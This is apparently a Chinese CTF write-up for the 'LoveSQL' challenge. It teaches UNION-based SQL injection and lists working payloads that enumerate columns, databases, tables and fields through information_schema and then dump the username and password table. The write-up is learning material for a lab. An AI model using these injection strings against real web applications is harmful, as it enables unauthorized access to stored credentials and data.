[极客大挑战 2019]LoveSQL 1

[极客大挑战 2019]LoveSQL 1

审题

又是一道SQL题,还和上面Easy_SQL是一个系列的题。

知识点

SQL注入之联合查询。

知识点详解

联合查询

基础讲解:

union联合查询定义是:可以使用UNION操作符,将多个查询结果,按行进行纵向合并。

基本语法

SELECT <字段名> FROM <表名>
UNION
SELECT <字段名> FROM <表名>

我们常用到的SQL语句有:

  1. 查询字段
1' order by X#  //X替换为数字
  1. 查询注入点
1' union select 1,2,3,···,X#
  1. 爆数据库
1' union select 1,2,database()#
  1. 爆表,只有一个数据库时
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

有多个数据库时

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='XXX'#
  1. 爆表的列
1' union select 1,2,group_concat(column_name) from information_schema.column where table_name='XXX'#
  1. 读取内容
1' union select 1,2,group_concat(XXX{列的名字}) from XXX{列所在的表的名字}#

group_concat

其中,group_concat函数的作用是将查询到的每行结果合并成一行并以逗号隔开。

比如:

没使用group_concat时,用concat查询的情况如下

ID
USER
PASSWARD

使用了group_caoncat后的结果就如下

ID,USER,PASSWARD

information_schema

nformation_schema是mysql自带的一个信息数据库,保存着关于MySQL服务器所维护的所有其他数据库的信息。

所以我们将从information_schema数据库中找到表名和列名。

另外,联合查询还有有很多种查询方法,大家可以去自行查找。

参考博客:

SQL入门之第十二讲——UNION 联合查询

解题

  1. 进行SQL注入测试。当输入1'时发现有报错回显,可以猜测有SQL注入。

    image-20240114151208671

  2. 使用基础的1' show databases# 无法得到库名,我们使用联合查询。

    由上面的知识点详解的步骤开始解题

    1. 查询字段,从1一直尝试到4,发现输入1' order by 4# 时出现报错

image-20240114152452448

  1. 猜测其有三个字段,查询注入点
1' union select 1,2,3#

image-20240114152908158

通过回显可以看出2,3都是注入点。

  1. 爆库名

    1' union select 1,2,database()#
    

    image-20240114153051216

  2. 爆表名

    1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
    

    image-20240114153617445

  3. 爆列名

    1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#
    

    image-20240114153812750

  4. 爆这个列名中的所有内容

    1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#
    

    得到flag

    image-20240114154228516

posted @   follycat  阅读(484)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· AI技术革命,工作效率10个最佳AI工具
点击右上角即可分享
微信分享提示